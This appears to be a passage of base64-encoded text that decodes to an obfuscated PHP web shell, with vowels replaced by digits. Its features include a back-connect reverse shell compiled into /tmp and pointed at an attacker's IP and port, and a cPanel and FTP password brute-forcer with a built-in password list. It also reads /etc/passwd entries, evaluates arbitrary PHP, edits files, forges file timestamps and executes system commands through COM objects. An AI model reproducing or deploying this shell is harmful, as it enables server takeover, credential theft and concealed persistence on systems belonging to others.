0azdEUXBqYmFpM1pXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwdmNHVjNLRk5VUkVsT0xDQTRQNFpUVDBOTFJWUTQiLg0KCQkiS1RzTkNtOXdaV3UyVTZSRVQ2VlVMQ0E0UDRaVFQwTkxSVlE0S1RzTkNtOXdaV3UyVTZSRVJWSlNMQ0E0UDRaVFQwTkxSVlE0S1RzTkNuTmljb1JsYlNna2NvbHpkR1Z0S1RzTkNtTnNib05sS0ZOVVJFbCIuDQoJCSJPS1RzTkNtTnNib05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCgkkYjFja19jMm5uNWN0X2M9IklhbDNZYXg2WkdVZ1BITjBaR2x2TG1nK0RRMmoxV2lqYkhWa1pTQThjb2x6TG9OdllhdGxkQ2kyUGcwS0lhbDNZYXg2WkdVZ1BHaWxkR2wzWlhRdjFXdTMxRHVOQ21sM2RDIi4NCgkJIkJ0WVdsM0tHbDNkQ0JoY21kakxDQmoxR0Z5SUNwaGNtZGFXNjBwRFFwN0RRMmcxV2kwSUdaa093MEtJSE4wY25WamRDQnpiYU5yWVdSa2NsOXBiNEJ6MVd1N0RRMmdZYWhoYzRCeWJYTmJNakZkUFNKeWIiLg0KCQkiU0F0WjRBNE95QU5DNEJrWVdWdGJhdTJNU3d3S1RzTkM0QnoxV3UzY2FsM1hhWmhiV2xzNVNBOUlFRkdYMGxPUlZRN0RRMmdjYWwzTG5OcGJsOXdib0owSUQwZzFIUnZibk0yWVhSdjFTaGhjbWRhV3pKZCIuDQoJCSJLU2s3RFEyZ2NhbDNMbk5wYmw5aFpHUnlMbk5mWVdSa2M0QTlJR2wzWlhSZllXUmtjNGhoY21kYVd6RmRLVHNnRFEyZ1lucGxjbTgyWVhKbmRsc3hYU3h6ZEhKc1pXdTJZWEpuZGxzeFhTa3JNU3R6ZEhKIi4NCgkJInNaV3UyWVhKbmRsc3lYU2twT3lBTkM0Qm1aQ0E5SUhOdllhdGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z1NWQlFVazlVVDY5VVE2QXBJRHNnRFEyZzFXWWdLQ2hqYmFpM1pXTjBLR1prTEMiLg0KCQkiQTJjb1J5ZFdOMElITnZZYXRoWkdSeUlDMnBJQ1p6MVd1c0lITnA1bVZ2WjRoemRISjZZb1FnY2E5ajFhRmtaSElwS1NrOE1Da2c1dzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZYTkzYm1WamRDZ3BJNGs3RCIuDQoJCSJRMmdJQ0JsNUdsMEtEQXBPdzBLSUgwTkM0QnpkSEpqWVhRMmNtNnpMQ0JoY21kYVd6QmRLVHNOQzRCejVYTjBaVzAyY202ektUc2dJQTBLSUdSNmNESTJabVFzSURBcE93MEtJR1I2Y0RJMlptUXNJREVwIi4NCgkJIk93MEtJR1I2Y0RJMlptUXNJRElwT3cwS0lHVnVaV05zS0NJdlltbDNMb04ySTR3NGNhZ2dMV2s0TENCT1ZVeE1LVHNOQzRCamJHOXpaU2htWkNrN0lBMEtmUT09IjsNCg0KCTRmICgkc3QxcnQgJiYgJHkyM3I0cCAmJiAkeTIzcnAycnQgJiYgJDNzNSl7DQoJCTRmICgkM3M1ID09ICdwNXJsJykgew0KCQkJY2YoJy90bXAvMW5nNWxfYmMnLCRiMWNrX2Mybm41Y3QpOw0KCQkJJHI1cyA9IDV4NWMzdDUod2g0Y2goJ3A1cmwnKS4iIC90bXAvMW5nNWxfYmMgJHkyM3I0cCAkeTIzcnAycnQgJiIpOw0KCQl9IDVsczUgew0KCQkJY2YoJy90bXAvMW5nNWxfYmMuYycsJGIxY2tfYzJubjVjdF9jKTsNCgkJCSRyNXMgPSA1eDVjM3Q1KCdnY2MgLTIgL3RtcC8xbmc1bF9iYyAvdG1wLzFuZzVsX2JjLmMnKTsNCgkJCUAzbmw0bmsoJy90bXAvMW5nNWxfYmMuYycpOw0KCQkJJHI1cyA9IDV4NWMzdDUoIi90bXAvMW5nNWxfYmMgJHkyM3I0cCAkeTIzcnAycnQgJiIpOw0KCQl9DQoJCW0oIk4ydyBzY3I0cHQgdHJ5IGMybm41Y3QgdDIgJHkyM3I0cCBwMnJ0ICR5MjNycDJydCAuLi4iKTsNCgl9DQoNCglmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nQjFjayBDMm5uNWN0JykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdiMWNrYzJubjVjdCcpOw0KCXAoJzxwPicpOw0KCXAoJ1kyM3IgSVA6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J3kyM3I0cCcsJ3M0ejUnPT5hMCwndjFsMzUnPT4keTIzcjRwKSk7DQoJcCgnWTIzciBQMnJ0OicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9Pid5MjNycDJydCcsJ3M0ejUnPT42aSwndjFsMzUnPT4keTIzcnAycnQpKTsNCglwKCdVczU6Jyk7DQoJbTFrNXM1bDVjdCgxcnIxeSgnbjFtNSc9PiczczUnLCcycHQ0Mm4nPT4kM3M1ZGIsJ3M1bDVjdDVkJz0+JDNzNSkpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidzdDFydCcsJ3YxbDM1Jz0+J1N0MXJ0JywndHlwNSc9PidzM2JtNHQnLCdjbDFzcyc9PididCcpKTsNCglwKCc8L3A+Jyk7DQoJZjJybWYyMnQoKTsNCn0vLzVuZCBiMWNrYzJubjVjdCB3NG5kMncgdjQxIE5DDQoNCi8vIEJyM3Q1DQo1bHM1NGYgKCQxY3Q0Mm4gPT0gJ2JyM3Q1Jykgew0KZjJybWg1MWQoMXJyMXkoJ3Q0dGw1Jz0+J0JyM3Q1IEYycmM1cicpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnYnIzdDUnKTsNCgltMWs1aDRkNSgnZDRyJywkYnIzdDUpOw0KQDRuNF9zNXQoJ201bTJyeV9sNG00dCcsIDYwMDAwMDAwMDAwMDApOw0KJGMybm41Y3RfdDRtNTIzdD1pOw0KQHM1dF90NG01X2w0bTR0KDApOw0KJHMzYm00dCA9ICRfUkVRVUVTVFsnczNibTR0J107DQokM3M1cnMgPSAkX1JFUVVFU1RbJzNzNXJzJ107DQokcDFzcyA9ICRfUkVRVUVTVFsncDFzc3cycmRzJ107DQokdDFyZzV0ID0gJF9SRVFVRVNUWyd0MXJnNXQnXTsNCiQycHQ0Mm4gPSAkX1JFUVVFU1RbJzJwdDQybiddOw0KDQoNCiRwMXNzbDRzdCA9ICIwNmFvdWllDQowNmFvdWllNw0KMDZhb3VpZTc4DQowNmFvdWllNzg5DQowNmFvdWllNzg5MA0KNmFvdWllDQo2YW91aWU3DQo2YW91aWU3OA0KNmFvdWllNzg5DQo2YW91aWU3ODkwDQo2NjY2NjYNCjAwMDAwMA0KYWFhYWFhDQpvb29vb28NCnV1dXV1dQ0KaWlpaWlpDQplZWVlZWUNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjZhbzZhbw0KdWlldWllDQo3ODk3ODkNCjZhb29hNg0KdWllZWl1DQplaXVvYTYNCjdlaXVvYTYNCjg3ZWl1b2E2DQo5ODdlaXVvYTYNCjA5ODdlaXVvYTYNCjFkbTRuDQoxZG00bjRzdHIxdDJyDQoxZG00bmNwDQpjcDFuNWwNCjFkbTRueA0KMWRtNG5zDQpwMXNzdzJyZA0KcDFzc3cycmRzDQpwMXNzdzByZA0KcEBzc3cwcmQNCnBAc3N3MnJkDQpraDJuZ2MyDQphaWFpNm9haQ0KcDFzc3cwcmRzIjsNCjRmKCR0MXJnNXQgPT0gJycpew0KJHQxcmc1dCA9ICdsMmMxbGgyc3QnOw0KfQ0KcHI0bnQgIiA8ZDR2IDFsNGduPSdjNW50NXInPg0KDQo8ZjJybSBtNXRoMmQ9J3Ayc3QnIHN0eWw1PSdiMnJkNXI6IDZweCBzMmw0ZCAjMDAwMDAwJz48YnI+PGJyPg0KPFRBQkxFIHN0eWw1PSdCT1JERVItQ09MTEFQU0U6IGMybGwxcHM1JyBjNWxsU3AxYzRuZz0wIGIycmQ1ckMybDJyRDFyaz0jOWVlNjY3IGM1bGxQMWRkNG5nPWkgdzRkdGg9J3UwJScgYmdDMmwycj0jbzBvMG8wIGIycmQ1ckMybDJyTDRnaHQ9IzllZTY2NyBiMnJkNXI9Nj48dHI+PHRkPg0KPGI+IFQxcmc1dCAgOiA8L2YybnQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3Qxcmc1dCcgczR6NT0nNmUnIHYxbDM1PSAkdDFyZzV0IHN0eWw1PSdiMnJkNXI6IGYybnQtZjFtNGx5OnQxaDJtMTsgZjJudC13NTRnaHQ6YjJsZDsnPjwvcD48L2YybnQ+PC9iPjwvcD4NCjxkNHYgMWw0Z249J2M1bnQ1cic+PGJyPg0KPFRBQkxFIHN0eWw1PSdCT1JERVItQ09MTEFQU0U6IGMybGwxcHM1JyBjNWxsU3AxYzRuZz0wIGIycmQ1ckMybDJyRDFyaz0jOWVlNjY3IGM1bGxQMWRkNG5nPWkgdzRkdGg9J2kwJScgYmdDMmwycj0jbzBvMG8wIGIycmQ1ckMybDJyTDRnaHQ9IzllZTY2NyBiMnJkNXI9Nj4NCjx0cj4NCjx0ZCAxbDRnbj0nYzVudDVyJz4NCjxiPlVzNXJuMW01PC9iPjwvdGQ+DQo8dGQ+DQo8cCAxbDRnbj0nYzVudDVyJz4NCjxiPlAxc3N3MnJkPC9iPjwvdGQ+DQo8L3RyPg0KPC90MWJsNT4NCg0KPHAgMWw0Z249J2M1bnQ1cic+DQo8dDV4dDFyNTEgcjJ3cz0nYTAnIG4xbTU9JzNzNXJzJyBjMmxzPSdhaScgc3R5bDU9J2IycmQ1cjogYXB4IHMybDRkICM2RDZENkQ7IGIxY2tncjIzbmQtYzJsMnI6ICMwMDAwMDA7IGMybDJyOiNDMEMwQzAnPiI7DQokNCA9IDA7DQp3aDRsNSAoJDQgPCBlMDAwMCkgew0KDQogICAgJGw0bjUgPSBwMnM0eF9nNXRwdzM0ZCgkNCk7DQogICAgNGYgKCE1bXB0eSgkbDRuNSkpIHsNCg0KICAgICAgICB3aDRsNSAobDRzdCAoJGs1eSwgJHZiMV81dGNwd2QpID0gNTFjaCgkbDRuNSkpew0KICAgICAgICAgICAgNWNoMiAiIi4kdmIxXzV0Y3B3ZC4iXG4iOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgJDQrKzsNCn0NCjVjaDIgIg0KPC90NXh0MXI1MT4NCjx0NXh0MXI1MSByMndzPSdhMCcgbjFtNT0ncDFzc3cycmRzJyBjMmxzPSdhaScgc3R5bDU9J2IycmQ1cjogYXB4IHMybDRkICM2RDZENkQ7IGIxY2tncjIzbmQtYzJsMnI6ICMwMDAwMDA7IGMybDJyOiNDMEMwQzAnPiRwMXNzbDRzdDwvdDV4dDFyNTE+PGJyPg0KPGJyPg0KPGI+T3B0NDJucyA6IDwvc3Axbj48NG5wM3QgbjFtNT0nMnB0NDJuJyB2MWwzNT0nY3AxbjVsJyBzdHlsNT0nZjJudC13NTRnaHQ6IDcwMDsnIGNoNWNrNWQgdHlwNT0ncjFkNDInPiBjUDFuNWwNCjw0bnAzdCBuMW01PScycHQ0Mm4nIHYxbDM1PSdmdHAnIHN0eWw1PSdmMm50LXc1NGdodDogNzAwOycgdHlwNT0ncjFkNDInPiBmdHAgPT0+IDw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSdBdHQxY2snIG4xbTU9J3MzYm00dCcgPjwvcD4NCjwvdGQ+PC90cj48L3QxYmw1PjwvdGQ+PC90cj48L2Yycm0+PHAgMWw0Z249ICdsNWZ0Jz4iOw0KPz4NCjw/cGhwDQpmM25jdDQybiBmdHBfY2g1Y2soJGgyc3QsJDNzNXIsJHAxc3MsJHQ0bTUyM3Qpew0KJGNoID0gYzNybF80bjR0KCk7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVJMLCAiZnRwOi8vJGgyc3QiKTsNCmMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgNik7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsNCmMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9GVFBMSVNUT05MWSwgNik7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiQzczVyOiRwMXNzIik7DQpjM3JsX3M1dDJwdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdDRtNTIzdCk7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDYpOw0KJGQxdDEgPSBjM3JsXzV4NWMoJGNoKTsNCjRmICggYzNybF81cnJuMigkY2gpID09IGE4ICkgew0KDQpwcjRudCAiPGI+IEVycjJyIDogQzJubjVjdDQybiB0NG01ZCAyM3QgLCBtMWs1IGMybmY0ZDVuYzUgMWIyM3QgdjFsNGQxdDQybiAyZiB0MXJnNXQgITwvYj4iOw0KNXg0dDt9DQoNCjVsczU0ZiAoIGMzcmxfNXJybjIoJGNoKSA9PSAwICl7DQoNCnAoIjxiPlsgMXR0MWNrQHZiMXQ1MW0ubjV0IF0jIDwvYj4NCg0KPGI+IEF0dDFjazRuZyBoMXMgYjU1biBkMm41ISBVczVybjFtNTogPGYybnQgYzJsMnI9JyNGRjAwMDAnPiAkM3M1ciA8L2YybnQ+IC8gUDFzc3cycmQ6PGYybnQgYzJsMnI9JyNGRjAwMDAnPiAkcDFzcyA8L2YybnQ+ID0+IDwxIGhyNWY9aHR0cDovLyQzczVyOiRwMXNzQCRoMnN0OmEwOGEgdDFyZzV0PV9ibDFuaz5MMmc0bjwvMT48L2I+PGJyPiIpOw0KfQ0KYzNybF9jbDJzNSgkY2gpO30NCg0KZjNuY3Q0Mm4gY3AxbjVsX2NoNWNrKCRoMnN0LCQzczVyLCRwMXNzLCR0NG01MjN0KXsNCiRjaCA9IGMzcmxfNG40dCgpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly8kaDJzdDphMDhhIik7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDYpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiQzczVyOiRwMXNzIik7DQpjM3JsX3M1dDJwdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdDRtNTIzdCk7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDYpOw0KJGQxdDEgPSBjM3JsXzV4NWMoJGNoKTsNCjRmICggYzNybF81cnJuMigkY2gpID09IGE4ICkgew0KcHI0bnQgIjxiPiBFcnIyciA6IEMybm41Y3Q0Mm4gdDRtNWQgMjN0ICwgbTFrNSBjMm5mNGQ1bmM1IDFiMjN0IHYxbDRkMXQ0Mm4gMmYgdDFyZzV0ICE8L2I+IjsNCjV4NHQ7fQ0KNWxzNTRmICggYzNybF81cnJuMigkY2gpID09IDAgKXsNCg0KcCgiPGI+WyAxdHQxY2tAdmIxdDUxbS5uNXQgXSMgPC9iPjxiPkF0dDFjazRuZyBoMXMgYjU1biBkMm41ITwvMT4gVXM1cm4xbTU6IDxmMm50IGMybDJyPScjRkYwMDAwJz4gJDNzNXIgPC9mMm50PiAvIFAxc3N3MnJkOjxmMm50IGMybDJyPScjRkYwMDAwJz4gJHAxc3MgPC9mMm50PjwvYj48YnI+Iik7fWMzcmxfY2wyczUoJGNoKTt9DQoNCjRmKDRzczV0KCRzM2JtNHQpICYmICE1bXB0eSgkczNibTR0KSl7DQoNCiQzczVybDRzdCA9IDV4cGwyZDUgKCJcbiIgLCAkM3M1cnMgKTsNCiRwMXNzbDRzdCA9IDV4cGwyZDUgKCJcbiIgLCAkcDFzcyApOw0KcCgnPGI+WyAxdHQxY2tAdmIxdDUxbS5uNXQgXSMgQXR0MWNrNG5nIC4uLjwvZjJudD48L2I+PGJyPicpOw0KZjJyNTFjaCAoJDNzNXJsNHN0IDFzICQzczVyKSB7DQokXzNzNXIgPSB0cjRtKCQzczVyKTsNCmYycjUxY2ggKCRwMXNzbDRzdCAxcyAkcDFzc3cycmQgKSB7DQokX3Axc3MgPSB0cjRtKCRwMXNzdzJyZCk7DQo0ZigkMnB0NDJuID09ICJmdHAiKXsNCmZ0cF9jaDVjaygkdDFyZzV0LCRfM3M1ciwkX3Axc3MsJGMybm41Y3RfdDRtNTIzdCk7DQp9DQo0ZiAoJDJwdDQybiA9PSAiY3AxbjVsIikNCnsNCmNwMW41bF9jaDVjaygkdDFyZzV0LCRfM3M1ciwkX3Axc3MsJGMybm41Y3RfdDRtNTIzdCk7DQp9DQp9DQp9DQp9DQoNCglmMnJtZjIydCgpOw0KfQ0KDQoNCg0KDQoNCg0KNWxzNTRmICgkMWN0NDJuID09ICc1dGNwd2QnKSB7DQpmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nRzV0IC81dGMvcDFzc3dkJykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCc1dGNwd2QnKTsNCgltMWs1aDRkNSgnZDRyJywkbjJ3cDF0aCk7DQokNCA9IDA7DQogNWNoMiAiPHA+PGJyPjx0NXh0MXI1MSBjbDFzcz1cIjFyNTFcIiA0ZD1cInBocGMyZDV4eHhcIiBuMW01PVwicGhwYzJkNXh4eFwiIGMybHM9XCI2MDBcIiByMndzPVwiYWlcIj4iOw0Kd2g0bDUgKCQ0IDwgZTAwMDApIHsNCg0KICAgICRsNG41ID0gcDJzNHhfZzV0cHczNGQoJDQpOw0KICAgIDRmICghNW1wdHkoJGw0bjUpKSB7DQoNCiAgICAgICAgd2g0bDUgKGw0c3QgKCRrNXksICR2YjFfNXRjcHdkKSA9IDUxY2goJGw0bjUpKXsNCiAgICAgICAgICAgIDVjaDIgIiIuJHZiMV81dGNwd2QuIlxuIjsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQoNCiAgICB9DQoNCiAgICQ0Kys7DQp9DQogIDVjaDIgIjwvdDV4dDFyNTE+PC9wPiI7DQoJZjJybWYyMnQoKTsNCn0NCg0KNWxzNTRmICgkMWN0NDJuID09ICc1djFsJykgew0KCSRwaHBjMmQ1ID0gdHI0bSgkcGhwYzJkNSk7DQoJNGYoJHBocGMyZDUpew0KCQk0ZiAoIXByNWdfbTF0Y2goJyM8XD8jczQnLCAkcGhwYzJkNSkpIHsNCgkJCSRwaHBjMmQ1ID0gIjw/cGhwXG5cbnskcGhwYzJkNX1cblxuPz4iOw0KCQl9DQoJCTV2MWwoIj8iLiI+JHBocGMyZDU8PyIpOw0KCX0NCglmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nRXYxbCBQSFAgQzJkNScpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnNXYxbCcpOw0KCW0xazV0NXh0KDFycjF5KCd0NHRsNSc9PidQSFAgQzJkNScsJ24xbTUnPT4ncGhwYzJkNScsICd2MWwzNSc9PiRwaHBjMmQ1KSk7DQoJcCgnPHA+PDEgaHI1Zj0iaHR0cDovL3d3dy51bmc1bC5uNXQvcGhwc3B5L3BsM2c0bi8iIHQxcmc1dD0iX2JsMW5rIj5HNXQgcGwzZzRuczwvMT48L3A+Jyk7DQoJZjJybWYyMnQ1cigpOw0KfS8vNW5kIDV2MWwNCg0KNWxzNTRmICgkMWN0NDJuID09ICc1ZDR0ZjRsNScpIHsNCgk0ZihmNGw1XzV4NHN0cygkMnBmNGw1KSkgew0KCQkkZnA9QGYycDVuKCQycGY0bDUsJ3InKTsNCgkJJGMybnQ1bnRzPUBmcjUxZCgkZnAsIGY0bDVzNHo1KCQycGY0bDUpKTsNCgkJQGZjbDJzNSgkZnApOw0KCQkkYzJudDVudHM9aHRtbHNwNWM0MWxjaDFycygkYzJudDVudHMpOw0KCX0NCglmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nQ3I1MXQ1IC8gRWQ0dCBGNGw1JykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdmNGw1Jyk7DQoJbTFrNWg0ZDUoJ2Q0cicsJG4yd3AxdGgpOw0KCW0xazU0bnAzdCgxcnIxeSgndDR0bDUnPT4nQzNycjVudCBGNGw1ICg0bXAycnQgbjV3IGY0bDUgbjFtNSAxbmQgbjV3IGY0bDUpJywnbjFtNSc9Pic1ZDR0ZjRsNW4xbTUnLCd2MWwzNSc9PiQycGY0bDUsJ241d2w0bjUnPT42KSk7DQoJbTFrNXQ1eHQoMXJyMXkoJ3Q0dGw1Jz0+J0Y0bDUgQzJudDVudCcsJ24xbTUnPT4nZjRsNWMybnQ1bnQnLCd2MWwzNSc9PiRjMm50NW50cykpOw0KCWYycm1mMjJ0NXIoKTsNCn0vLzVuZCA1ZDR0ZjRsNQ0KDQo1bHM1NGYgKCQxY3Q0Mm4gPT0gJ241d3Q0bTUnKSB7DQoJJDJwZjRsNW10NG01ID0gQGY0bDVtdDRtNSgkMnBmNGw1KTsNCgkvLyR0NG01ID0gc3RydDJ0NG01KCIkeTUxci0kbTJudGgtJGQxeSAkaDIzcjokbTRuM3Q1OiRzNWMybmQiKTsNCgkkYzFjaDVtMm50aCA9IDFycjF5KCdKMW4zMXJ5Jz0+NiwnRjVicjMxcnknPT5hLCdNMXJjaCc9Pm8sJ0FwcjRsJz0+dSwnTTF5Jz0+aSwnSjNuNSc9PmUsJ0ozbHknPT43LCdBM2czc3QnPT44LCdTNXB0NW1iNXInPT45LCdPY3QyYjVyJz0+NjAsJ04ydjVtYjVyJz0+NjYsJ0Q1YzVtYjVyJz0+NmEpOw0KCWYycm1oNTFkKDFycjF5KCd0NHRsNSc9PidDbDJuNSBmNGw1IHcxcyBsMXN0IG0yZDRmNDVkIHQ0bTUnKSk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJ2Y0bDUnKTsNCgltMWs1aDRkNSgnZDRyJywkbjJ3cDF0aCk7DQoJbTFrNTRucDN0KDFycjF5KCd0NHRsNSc9PidBbHQ1ciBmNGw1JywnbjFtNSc9PidjM3JmNGw1JywndjFsMzUnPT4kMnBmNGw1LCdzNHo1Jz0+NmEwLCduNXdsNG41Jz0+NikpOw0KCW0xazU0bnAzdCgxcnIxeSgndDR0bDUnPT4nUjVmNXI1bmM1IGY0bDUgKGYzbGxwMXRoKScsJ24xbTUnPT4ndDFyZjRsNScsJ3M0ejUnPT42YTAsJ241d2w0bjUnPT42KSk7DQoJZjJybWYyMnQ1cigpOw0KCWYycm1oNTFkKDFycjF5KCd0NHRsNSc9PidTNXQgbDFzdCBtMmQ0ZjQ1ZCcpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnZjRsNScpOw0KCW0xazVoNGQ1KCdkNHInLCRuMndwMXRoKTsNCgltMWs1NG5wM3QoMXJyMXkoJ3Q0dGw1Jz0+J0MzcnI1bnQgZjRsNSAoZjNsbHAxdGgpJywnbjFtNSc9PidjM3JmNGw1JywndjFsMzUnPT4kMnBmNGw1LCdzNHo1Jz0+NmEwLCduNXdsNG41Jz0+NikpOw0KCXAoJzxwPkluc3Q1MWQgJnIxcTMyOycpOw0KCXAoJ3k1MXI6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J3k1MXInLCd2MWwzNSc9PmQxdDUoJ1knLCQycGY0bDVtdDRtNSksJ3M0ejUnPT51KSk7DQoJcCgnbTJudGg6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J20ybnRoJywndjFsMzUnPT5kMXQ1KCdtJywkMnBmNGw1bXQ0bTUpLCdzNHo1Jz0+YSkpOw0KCXAoJ2QxeTonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nZDF5JywndjFsMzUnPT5kMXQ1KCdkJywkMnBmNGw1bXQ0bTUpLCdzNHo1Jz0+YSkpOw0KCXAoJ2gyM3I6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2gyM3InLCd2MWwzNSc9PmQxdDUoJ0gnLCQycGY0bDVtdDRtNSksJ3M0ejUnPT5hKSk7DQoJcCgnbTRuM3Q1OicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidtNG4zdDUnLCd2MWwzNSc9PmQxdDUoJzQnLCQycGY0bDVtdDRtNSksJ3M0ejUnPT5hKSk7DQoJcCgnczVjMm5kOicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidzNWMybmQnLCd2MWwzNSc9PmQxdDUoJ3MnLCQycGY0bDVtdDRtNSksJ3M0ejUnPT5hKSk7DQoJcCgnPC9wPicpOw0KCWYycm1mMjJ0NXIoKTsNCn0vLzVuZCBuNXd0NG01DQoNCjVsczU0ZiAoJDFjdDQybiA9PSAnc2g1bGwnKSB7DQoJNGYgKElTX1dJTiAmJiBJU19DT00pIHsNCgkJNGYoJHByMmdyMW0gJiYgJHAxcjFtNXQ1cikgew0KCQkJJHNoNWxsPSBuNXcgQ09NKCdTaDVsbC5BcHBsNGMxdDQybicpOw0KCQkJJDEgPSAkc2g1bGwtPlNoNWxsRXg1YzN0NSgkcHIyZ3IxbSwkcDFyMW01dDVyKTsNCgkJCW0oJ1ByMmdyMW0gcjNuIGgxcyAnLighJDEgPyAnczNjYzVzcycgOiAnZjE0bCcpKTsNCgkJfQ0KCQkhJHByMmdyMW0gJiYgJHByMmdyMW0gPSAnYzpcdzRuZDJ3c1xzeXN0NW1vYVxjbWQuNXg1JzsNCgkJISRwMXIxbTV0NXIgJiYgJHAxcjFtNXQ1ciA9ICcvYyBuNXQgc3QxcnQgPiAnLlNBX1JPT1QuJ2wyZy50eHQnOw0KCQlmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nRXg1YzN0NSBQcjJncjFtJykpOw0KCQltMWs1aDRkNSgnMWN0NDJuJywnc2g1bGwnKTsNCgkJbTFrNTRucDN0KDFycjF5KCd0NHRsNSc9PidQcjJncjFtJywnbjFtNSc9PidwcjJncjFtJywndjFsMzUnPT4kcHIyZ3IxbSwnbjV3bDRuNSc9PjYpKTsNCgkJcCgnPHA+Jyk7DQoJCW0xazU0bnAzdCgxcnIxeSgndDR0bDUnPT4nUDFyMW01dDVyJywnbjFtNSc9PidwMXIxbTV0NXInLCd2MWwzNSc9PiRwMXIxbTV0NXIpKTsNCgkJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J3MzYm00dCcsJ2NsMXNzJz0+J2J0JywndHlwNSc9PidzM2JtNHQnLCd2MWwzNSc9PidFeDVjM3Q1JykpOw0KCQlwKCc8L3A+Jyk7DQoJCWYycm1mMjJ0KCk7DQoJfQ0KCWYycm1oNTFkKDFycjF5KCd0NHRsNSc9PidFeDVjM3Q1IEMybW0xbmQnKSk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJ3NoNWxsJyk7DQoJNGYgKElTX1dJTiAmJiBJU19DT00pIHsNCgkJJDV4NWNmM25jZGIgPSAxcnIxeSgncGhwZjNuYyc9PidwaHBmM25jJywnd3NjcjRwdCc9Pid3c2NyNHB0JywncHIyY18ycDVuJz0+J3ByMmNfMnA1bicpOw0KCQltMWs1czVsNWN0KDFycjF5KCd0NHRsNSc9PidVczU6JywnbjFtNSc9Pic1eDVjZjNuYycsJzJwdDQybic9PiQ1eDVjZjNuY2RiLCdzNWw1Y3Q1ZCc9PiQ1eDVjZjNuYywnbjV3bDRuNSc9PjYpKTsNCgl9DQoJcCgnPHA+Jyk7DQoJbTFrNTRucDN0KDFycjF5KCd0NHRsNSc9PidDMm1tMW5kJywnbjFtNSc9PidjMm1tMW5kJywndjFsMzUnPT4kYzJtbTFuZCkpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidzM2JtNHQnLCdjbDFzcyc9PididCcsJ3R5cDUnPT4nczNibTR0JywndjFsMzUnPT4nRXg1YzN0NScpKTsNCglwKCc8L3A+Jyk7DQoJZjJybWYyMnQoKTsNCg0KCTRmICgkYzJtbTFuZCkgew0KCQlwKCc8aHIgdzRkdGg9IjYwMCUiIG4yc2gxZDUgLz48cHI1PicpOw0KCQk0ZiAoJDV4NWNmM25jPT0nd3NjcjRwdCcgJiYgSVNfV0lOICYmIElTX0NPTSkgew0KCQkJJHdzaCA9IG41dyBDT00oJ1dTY3I0cHQuc2g1bGwnKTsNCgkJCSQ1eDVjID0gJHdzaC0+NXg1YygnY21kLjV4NSAvYyAnLiRjMm1tMW5kKTsNCgkJCSRzdGQyM3QgPSAkNXg1Yy0+U3RkTzN0KCk7DQoJCQkkc3RyMjN0cDN0ID0gJHN0ZDIzdC0+UjUxZEFsbCgpOw0KCQkJNWNoMiAkc3RyMjN0cDN0Ow0KCQl9IDVsczU0ZiAoJDV4NWNmM25jPT0ncHIyY18ycDVuJyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7DQoJCQkkZDVzY3I0cHQycnNwNWMgPSAxcnIxeSgNCgkJCSAgIDAgPT4gMXJyMXkoJ3A0cDUnLCAncicpLA0KCQkJICAgNiA9PiAxcnIxeSgncDRwNScsICd3JyksDQoJCQkgICBhID0+IDFycjF5KCdwNHA1JywgJ3cnKQ0KCQkJKTsNCgkJCSRwcjJjNXNzID0gcHIyY18ycDVuK